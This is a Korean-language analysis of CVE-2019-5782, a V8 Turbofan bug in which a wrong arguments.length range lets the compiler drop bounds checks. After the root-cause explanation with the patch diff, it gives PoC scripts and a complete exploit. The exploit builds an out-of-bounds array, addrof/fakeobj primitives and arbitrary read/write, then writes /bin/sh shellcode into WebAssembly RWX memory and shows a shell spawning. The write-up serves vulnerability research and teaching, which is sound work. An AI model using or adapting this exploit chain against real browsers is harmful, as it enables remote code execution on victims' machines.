CVE-2019-5782 (Incorrect optimization assumptions in V8)

Background

Typer in Turbofan

JavaScript의 dynamic type system은 사용자에게는 편의를 제공하지만, JS 엔진의 입장에서는 코드와 메모리 관리를 매우 까다롭게 합니다. 예를 들어, a + b라는 아주 간단한 덧셈 연산도 a와 b의 type에 따라 연산 결과의 type이 달라집니다. JIT 컴파일러는 피연산자와 연산 결과의 type에 대해 가능한 모든 경우를 고려하여 어떻게 처리할지 준비해 두어야 하는데, 이는 매우 비효율적인 작업일 것입니다.

V8에서는 type speculation을 통해 이 문제를 해결합니다. V8의 JIT 컴파일러인 Turbofan은 함수가 호출될 때 연산 과정에서 사용되는 type 정보를 기록해 두었다가, runtime에 그 정보를 활용하여 연산 결과가 가질 수 있는 type을 추론하고, 그 추론에 기반하여 함수를 최적화합니다.

예를 들어, 어떤 함수 내부의 덧셈 연산에 문자열이 포함되어 있을 경우 그 결과는 무조건 문자열이 될 것이라고 추론할 수 있습니다. 이 추론 결과에 따라 문자열을 제외한 다른 type을 처리하는 루틴을 제거하는 최적화가 진행됩니다.

만약 추론이 틀릴 경우를 대비하여 runtime에 type을 검증하는 절차도 추가됩니다. 추론에 부합하지 않는 결과가 발견되었다면, Turbofan은 그 추론에 기반하여 진행된 최적화를 제거합니다(deoptimization).

연산의 결과가 정수일 때, Turbofan은 최고의 효율을 위해 좀 더 세밀한 추론을 수행합니다. 정수 type에는 range라는 개념이 존재하여 그 수가 가질 수 있는 값의 범위를 계산합니다. 예를 들어,

a = Math.min(a, 1);
if (a > 2) {
  return 3;
}

위의 코드에서 Math.min(a, 1)의 반환값은 상수인 1보다 무조건 작거나 같습니다. 따라서 a가 가질 수 있는 최댓값, 즉 a의 range의 최댓값은 1입니다. a의 type을 고려했을 때, 조건문을 절대 만족시킬 수 없기 때문에 조건문과 그 내부 코드 전체가 최적화 과정에서 제거됩니다.

Analysis

Environment setting

OS: Ubuntu 18.04
Hard Disk: 100GB
Memory: 8GB
Processors: 4

V8 코드를 다운받습니다.

mkdir v8
cd v8
fetch v8
cd v8

패치 직전 커밋인 18b28402118b7918512c3e5b6bc5c6f348d43564로 checkout합니다.

git checkout 18b28402118b7918512c3e5b6bc5c6f348d43564

빌드에 필요한 dependency들을 설치합니다.

gclient sync -D
build/install-build-deps.sh
sudo apt install -y ninja-build

Release 버전과 Debug 버전으로 각각 빌드합니다.

tools/dev/gm.py x64.release; tools/dev/gm.py x64.debug

Root cause

패치의 diff는 다음과 같습니다.

diff --git a/src/compiler/type-cache.h b/src/compiler/type-cache.h
index 251ea08..9be7261 100644
--- a/src/compiler/type-cache.h
+++ b/src/compiler/type-cache.h
@@ -166,8 +166,7 @@
       Type::Union(Type::SignedSmall(), Type::NaN(), zone());

   // The valid number of arguments for JavaScript functions.
-  Type const kArgumentsLengthType =
-      Type::Range(0.0, Code::kMaxArguments, zone());
+  Type const kArgumentsLengthType = Type::Unsigned30();

   // The JSArrayIterator::kind property always contains an integer in the
   // range [0, 2], representing the possible IterationKinds.
diff --git a/src/compiler/verifier.cc b/src/compiler/verifier.cc
index 0a9342e..9ea93da 100644
--- a/src/compiler/verifier.cc
+++ b/src/compiler/verifier.cc
@@ -1258,8 +1258,7 @@
       break;
     case IrOpcode::kNewArgumentsElements:
       CheckValueInputIs(node, 0, Type::ExternalPointer());
-      CheckValueInputIs(node, 1, Type::Range(-Code::kMaxArguments,
-                                             Code::kMaxArguments, zone));
+      CheckValueInputIs(node, 1, Type::Unsigned30());
       CheckTypeIs(node, Type::OtherInternal());
       break;
     case IrOpcode::kNewConsString:

kArgumentsLengthType은 JavaScript 함수의 인자 개수이고, kMaxArguments는 65534(0xfffe)입니다. 즉, 패치 전에는 최적화 과정에서 함수의 인자 개수의 range를 [0, 65534]로 설정합니다. 따라서 함수가 최적화되고 나면 Turbofan은 함수의 인자 개수가 절대 0xfffe보다 크지 않다고 간주합니다. 그렇다면 Turbofan의 입장에서 arguments.length >> 16의 결과는 무조건 0이 됩니다.

/* src/compiler/typer.cc */

Type Typer::Visitor::JSShiftRightTyper(Type lhs, Type rhs, Typer* t) {
  return BinaryNumberOpTyper(lhs, rhs, t, NumberShiftRight);
}

JSShiftRightTyper()는 최적화 과정 중 Typer phase에서 shift right 연산의 최적화를 담당하는 함수로, shift right 연산 결과의 type을 추론하여 반환합니다. lhs와 rhs는 각각 left-hand search, right-hand search로, 연산자의 왼쪽과 오른쪽에 있는 피연산자들입니다. Shift right 연산에서는 lhs는 shift될 값, rhs는 shift할 비트 수가 됩니다.

JSShiftRightTyper()는 BinaryNumberOpTyper()를 호출하고 그 반환값을 반환합니다.

/* src/compiler/typer.cc */

Type Typer::Visitor::BinaryNumberOpTyper(Type lhs, Type rhs, Typer* t,
                                         BinaryTyperFun f) {
  lhs = ToNumeric(lhs, t);
  rhs = ToNumeric(rhs, t);
  bool lhs_is_number = lhs.Is(Type::Number());
  bool rhs_is_number = rhs.Is(Type::Number());
  if (lhs_is_number && rhs_is_number) {
    return f(lhs, rhs, t);
  }
...
}

BinaryNumberOpTyper()는 lhs와 rhs가 모두 숫자 type일 경우 네 번째 인자로 전달된 f()를 호출하고 그 반환값을 반환합니다. 따라서 NumberShiftRight()가 호출됩니다.

/* src/compiler/operation-typer.cc */

Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) {
  DCHECK(lhs.Is(Type::Number()));
  DCHECK(rhs.Is(Type::Number()));

  lhs = NumberToInt32(lhs);
  rhs = NumberToUint32(rhs);

  if (lhs.IsNone() || rhs.IsNone()) return Type::None();

  int32_t min_lhs = lhs.Min();
  int32_t max_lhs = lhs.Max();
  uint32_t min_rhs = rhs.Min();
  uint32_t max_rhs = rhs.Max();
  if (max_rhs > 31) {
    // rhs can be larger than the bitmask
    max_rhs = 31;
    min_rhs = 0;
  }
  double min = std::min(min_lhs >> min_rhs, min_lhs >> max_rhs);
  double max = std::max(max_lhs >> min_rhs, max_lhs >> max_rhs);

  if (max == kMaxInt && min == kMinInt) return Type::Signed32();
  return Type::Range(min, max, zone());
}

min_lhs, max_lhs, min_rhs, max_rhs는 각각 lhs의 최솟값과 최댓값, rhs의 최솟값과 최댓값입니다. NumberShiftRight()는 range 형태의 type을 반환하는데, min은 min_lhs >> min_rhs와 min_lhs >> max_rhs 중 작은 값이고, max는 max_lhs >> min_rhs, max_lhs >> max_rhs 중 큰 값입니다.

arguments.length >> 16 연산의 lhs는 arguments.length이고 rhs는 16입니다. arguments.length의 range는 [0, 0xfffe]이고, 16의 range는 [16, 16]입니다. 따라서 이 경우 NumberShiftRight()가 반환하는 range는 [0, 0]이 됩니다.

결론적으로, 최적화가 진행된 함수 내부에서 Turbofan은 arguments.length >> 16이 무조건 0이라고 판단하게 됩니다.

/* src/compiler/simplified-lowering.cc */

  void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
...
          if (lowering->poisoning_level_ ==
                  PoisoningMitigationLevel::kDontPoison &&
              (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
                index_type.Max() < length_type.Min()))) {
            // The bounds check is redundant if we already know that
            // the index is within the bounds of [0.0, length[.
            DeferReplacement(node, node->InputAt(0));
...

VisitCheckBounds()는 SimplifiedLowering phase에서 CheckBounds 노드, 즉 OOB가 발생하지 않도록 배열의 범위 검사를 수행하는 노드의 최적화를 담당하는 함수입니다. index_type은 배열에 접근하려고 하는 index의 type(range)이고, length_type은 배열의 length의 type(range)입니다.

index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()을 만족하면 조건문 내부에서 DeferReplacement()를 호출하여 CheckBounds 노드를 제거합니다. index_type.Max()가 length_type.Min()보다 작다는 것은 절대로 OOB가 발생할 가능성이 없음을 의미합니다. 예를 들어, 배열 arr의 index의 range가 [0, 5]이고 length의 range가 [10, 15]이면 arr[0] ~ arr[5] 중 어디에 접근하더라도 arr의 크기는 최소 10이기 때문에 절대 OOB가 발생하지 않습니다. 이런 경우 범위 검사를 수행할 필요가 없다고 판단하게 됩니다.

arr[(arguments.length >> 16) * idx]와 같은 코드가 있을 때, Turbofan의 입장에서 arguments.length >> 16의 range가 [0, 0]이므로, idx의 값에 관계없이 index의 range는 [0, 0]입니다. arr의 length가 0보다 크면, 즉 빈 배열일 가능성만 없으면 CheckBounds 노드가 제거되어 범위 검사가 수행되지 않습니다.

만약 함수에 0x10000개의 인자를 전달하여 arguments.length >> 16의 실제 값이 1이어도, Turbofan의 입장에서는 절대 0이 아닐 수 없기 때문에 여전히 CheckBounds 노드는 제거됩니다. 그러면 arr[(arguments.length >> 16) * idx]에서 OOB를 발생시킬 수 있고, idx의 값을 조절하면 임의의 index에 접근하여 값을 읽거나 쓸 수 있게 됩니다.

PoC

/* poc_read.js */

let a;

function f() {
    let l = arguments.length;
    a = [0.1];
    let idx = (l >> 16) * 1;

    return a[idx];
}

f();

% OptimizeFunctionOnNextCall(f);
let b = new Array(0x10000);
console.log(f(...b));  // read a[1]

$ ~/v8/v8/out/x64.release/d8 --allow-natives-syntax poc_read.js
3.36327455876986e-310

/* poc_write.js */

let a;

function f() {
    let l = arguments.length;
    a = [0.1];
    let idx = (l >> 16) * 1;

    a[idx] = 1.1;
}

f();

% OptimizeFunctionOnNextCall(f);
let b = new Array(0x10000);
f(...b);  // overwrite a[1](map)
console.log(a[0]);  // crash

$ ~/v8/v8/out/x64.release/d8 --allow-natives-syntax poc_write.js
Received signal 11 <unknown> 000000000000

==== C stack trace ===============================

 [0x564289759614]
 [0x7f39c8b65980]
 [0x56428963d150]
[end of stack trace]
Segmentation fault (core dumped)

% OptimizeFunctionOnNextCall()을 사용하지 않고 f()를 여러 번 반복해서 호출하여 최적화를 유도할 수 있습니다.

/* poc_write.js */

let a;

function f() {
    let l = arguments.length;
    a = [0.1];
    let idx = (l >> 16) * 1;

    a[idx] = 1.1;
}

for (let i = 0; i < 0x10000; i++) f();  // optimization

let b = new Array(0x10000);
f(...b);  // overwrite a[1](map)
console.log(a[0]);  // crash

$ ~/v8/v8/out/x64.release/d8 poc_write.js
Received signal 11 <unknown> 000000000000

==== C stack trace ===============================

 [0x55b8a2469614]
 [0x7fd451a93980]
 [0x55b8a234d150]
[end of stack trace]
Segmentation fault (core dumped)

Exploit

Generate OOB array

먼저 OOB를 통해 배열의 length 필드를 큰 값으로 덮어서 함수 밖에서도 자유롭게 OOB read와 write가 가능하도록 만들어 줍니다.

/* ex.js */

let oob_arr;

function f() {
    let l = arguments.length;
    oob_arr = [0.1];
    let idx = (l >> 16) * 4;

    oob_arr[idx] = 1.2882291396436117e-231;  // itof(0xfffffffn << 32n)
}

for (let i = 0; i < 0x10000; i++) f();  // optimization

let b = new Array(0x10000);
f(...b);  // overwrite length of oob_arr

console.log('[+] Length of oob_arr: 0x' + oob_arr.length.toString(16));

$ ~/v8/v8/out/x64.release/d8 ex.js
[+] Length of oob_arr: 0xfffffff

이 다음에는 addrof()/fakeobj() primitive 구현, AAR/AAW 구현, shellcode 실행 순으로 진행하면 됩니다.

Full exploit

/* ex.js */

let fi_buf = new ArrayBuffer(8);  // shared buffer
let f_buf = new Float64Array(fi_buf);  // buffer for float
let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

// convert float to bigint
function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

// convert bigint to float
function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

let oob_arr;
let obj_arr;

function f() {
    let l = arguments.length;
    oob_arr = [0.1];
    obj_arr = [{}];
    let idx = (l >> 16) * 4;

    oob_arr[idx] = 1.2882291396436117e-231;  // itof(0xfffffffn << 32n)
}

for (let i = 0; i < 0x10000; i++) f();  // optimization

let b = new Array(0x10000);
f(...b);  // overwrite length of oob_arr

// get address of object
function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(oob_arr[14]);
}

// generate fake object
function fakeobj(addr) {
    oob_arr[14] = itof(addr);
    return obj_arr[0];
}

let float_arr_map = oob_arr[1];  // map of float array
let aarw_arr = [0.1, 0.2, 0.3, 0.4];  // array for AAR/AAW

// arbitrary address read
function aar(addr) {
    aarw_arr[0] = float_arr_map;  // map
    aarw_arr[2] = itof(addr - 0x10n);  // elements
    let fake = fakeobj(addrof(aarw_arr) - 0x20n);
    return ftoi(fake[0]);
}

// arbitrary address write
function aaw(addr, value) {
    aarw_arr[0] = float_arr_map;  // map
    aarw_arr[2] = itof(addr - 0x10n);  // elements
    let fake = fakeobj(addrof(aarw_arr) - 0x20n);
    fake[0] = itof(value);
}

// allocate rwx memory region
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let sh = wasmInstance.exports.main;
let rwx = aar(addrof(wasmInstance) + 0xe8n);  // address of rwx memory region


let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);
aaw(addrof(buf) + 0x20n, rwx);  // overwrite backing store pointer with address of rwx memory region

// execute shellcode
for (let i = 0; i < shellcode.length; i++) {
    view.setUint8(i, shellcode[i]);
}
sh();

$ ~/v8/v8/out/x64.release/d8 ex.js
$ id
uid=1000(h0meb0dy) gid=1000(h0meb0dy) groups=1000(h0meb0dy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

References

• In-the-Wild Series: Chrome Infinity Bug
• In-the-Wild Series: Chrome Exploits - Project Zero
• Issue 906043: Security: Tianfu CUP RCE
• 8e4588915ba7a9d9d744075781cea114d49f0c7b - v8.git